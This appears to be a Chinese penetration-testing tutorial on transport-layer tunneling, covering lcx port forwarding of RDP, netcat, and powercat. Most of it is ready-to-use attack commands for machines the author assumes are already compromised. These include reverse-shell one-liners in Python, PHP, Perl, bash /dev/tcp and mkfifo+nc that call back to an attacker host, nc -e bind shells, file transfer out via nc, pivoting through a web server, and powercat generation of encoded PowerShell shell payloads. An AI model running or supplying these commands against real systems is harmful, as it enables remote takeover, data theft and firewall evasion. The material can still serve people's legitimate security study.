0x00 前言
前面我们学习了网络层的隧道技术(ICMP、IPV6),接下来我们继续学习传输层的隧道技术。
0x01 传输层隧道技术
传输层的隧道技术主要包括 TCP 隧道,UDP隧道和常规端口转发。当内网防火墙阻止了我们对指定端口的访问,我们可以在获取目标机器的权限后使用 iptables 打开指定的端口。当然如果内网中存在一系列的防御系统,TCP、UDP流量会被大量拦截。
LCX 端口转发
lcx是一个基于socket 套接字实现的端口转发工具。windows版本为lcx.exe
,Linux版本为portmap
正常的socket隧道必须具备两端:
- 一端为服务端,监听一个端口,等待客户端的连接。
- 另一端为客户端,通过服务的的ip和端口主动与服务器连接。
1、内网端口转发
在目标主机是执行如下命令,可以将目标主机的3389端口(远程桌面)的所有数据转发到公网vps的4444端口上:
1 | lcx.exe -slave <公网主机iP> 4444 127.0.0.1 3389 |
接着我们可以在vps中使用如下命令,将本机监听到的444端口内容转发给本机的5555端口:
1 | windows: |
实验:
现有一台内网机器开启3389(1.1.1.7),但是我们本机无法直接。此时我们使用lcx来端口转发。
- 在
1.1.1.7
上执行如下命令:1
2lcx.exe -slave 192.168.152.152 6666 127.0.0.1 3389
其中,192.168.152.152 为外网的vps装的kali系统 - 在
192.168.152.152
kali系统中执行如下命令:1
./portmap -m 2 -p1 6666 -p2 666 -h1 192.168.152.152
此时已经完成了端口转发,我们在本机可以直接通过连接192.168.152.152:666
来进行远程连接,实验完成!
顺带说一说 portscan
的用法,他一共有3种模式用-m 指定模式。还有其它4个参数 -p1
-p2
-h1
-h2
三种模式解释如下:
1 | 1.监听port1 端口并且连接主机2的port2 端口 |
2、本地端口映射
如果目标服务器由于防火墙的配置,部分端口(列如:3389)的数据无法通过防火墙可以将目标服务器相应端口的数据的数据传到防火墙允许的其他端口(列如:53)。在目标主机上执行如下命令,可以直接使用53端口进行远程桌面连接。
1 | lcx -tran 53 1.1.1.7 3389 |
netcat(nc)
之所以叫netcat是因为他是网络上的cat,可以从网络的一端读取数据到另一端输出。
nc的常用参数
- 抓取 banner信息 使用
-nv
参数 - 扫描指定端口
nc -v -z 192.168.152.152 110-1111
需要很久,他会等结束后返回结果。 - 端口监听
nc -lp
其中 l 表示监听模式p用来指定端口。一般我们会用nc -lvp
v用来显示详细信息。 - 文件传输,大概思路就说我们vps监听一个端口并把内容重定向输出给一个文件,随后我们目标主机主动连接我们vps的指定端口并把一个文件重定向输入。具体命令, vps:
nc -lp 333 > 1.txt
,目标主机:nc -vn 192.168.152.152 333 -q 1
其中 -q参数是在发送EOF后XX秒断开连接。有些版本有-q 有些无 - 简易聊天 只需一方监听一方连接即可如:vps
nc -lp 888
目标nc -nv 192.168.152.152 888
获取Shell
shell分为两种:
一种是正向shell,另一种是反向shell
- 正向shell:客户端连接服务器,客户端想要获取服务器的shell
- 反向shell:客户端连接服务器,服务器想要获取客户端的shell
反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发。
1、正向shell
在目标主机中输入以下命令,进行监听主机的端口流量并重定向给其它程序执行:
1 | nc -lvp 4444 -e /bin/bash // linux |
此时我们vps只需要连接就可以了:
1 | nc 192.168.227.137 4444 |
接着我们在vps中输入的命令就会被目标主机当作shell执行
2、反向shell
在vps上监听一个端口,如使用nc -lvp 666
。然后再在目标主机使用命令连接vps的这个端口,并重定向程序到cmd或者sh使用命令如下:
1 | nc 192.168.152.137 9999 -e /bin/sh //linux |
3、在目标主机中没有nc时获取反向shell
- python 反向shell
1
2
3
4第一种:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
或者:
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.0.0.1',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" - PHP反向shell
1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- 利用中间文件
1
cat /tmp/fifo | /bin/bash -i 2>&1 | nc 目标IP 端口 > /tmp/fifo
- perl 反向shell
1
2
3perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者(升级版):
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' - nc版本问题不支持 -e的可以用如下:
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
- 其它还有很多,这里我们研究一下
bash -i
1
2bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
注意这个是由解析shell的bash完成,所以某些情况下不支持。
我们来分析一下,bash -i
是创建一个交互式shell>&
当后面接文件时表标准输出和标准错误输出重定向到文件,也就是/dev/tcp/10.0.0.1/8080
而这个文件是一个特殊的设备,相当于给对应IP端口发出一个socket连接。 而最后的 0>&1
表示标准输入重定向到标准输出而标准输出又重定向到socket连接。
4、内网代理
环境:kali无法访问数据库服务器,但是可以通过web服务器跳板访问到数据库服务器。
- kali执行:
nc -lvp 3333 - 数据库执行:
nc -lvp 3333 -e /bin/sh - web服务器执行:
nc -v 192.168.1.4 3333 -C “nc -v 1.1.1.200 3333” 这里的 -C是大C且有些nc不存在-C,它的作用是
发送CRLF作为行结束
原理:把web服务器当作中间机,使kali与数据库通信
powercat
powercat 相当于powershell版nc
1、安装
1 | git clone https://github.com/besimorhino/powercat.git |
下载后导入模块,然后输入powercat -h
就可以查看到帮助信息:
1 | 主要命令: |
看到这里我们发现nc的功能它基本都可以实现,这里我们主要学习一下不太一样的功能。
2、利用powercat -g 生成payload
- 在攻击机说执行如下命令来生成payload,获得一个cmd执行shell文件。
1
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
- 在目标主机允许 我们生成的shell.ps1文件。
- 在攻击主机中连接到我们的目标主机指定端口。
1
powercat -c 192.168.1.180 -p 8000 -v
同理如果我们想反弹powershell而不是cmd,那么我们身材payload时使用如下命令:这里1
powercat -l -p 8000 -ep -v -g >> shell.ps1
-ep
就说执行powershell
如果我们需要生成经过编码的payload使用如下命令:随后我们在 目标主机使用:1
powercat -l -p 8000 -ep -v -ge >> powershell_ge.ps1
powershell -e [编码后的payload]
注意这里是powershell了,不是powercat。
3、powercat作为跳板
环境:
webserver可ping数据库server和vps,vps不能访问数据库server。
sqlserver(监听):powercat -l -v -p [本地监听端口] -e cmd.exe
WebServer(连接,监听):powercat -l -v -p [设置一个监听端口] -r tcp:[sqlserverip:sqlserver监听端口]
注意这里是-r
vps(连接):nc [webserverIP] [webserver监听端口] -vv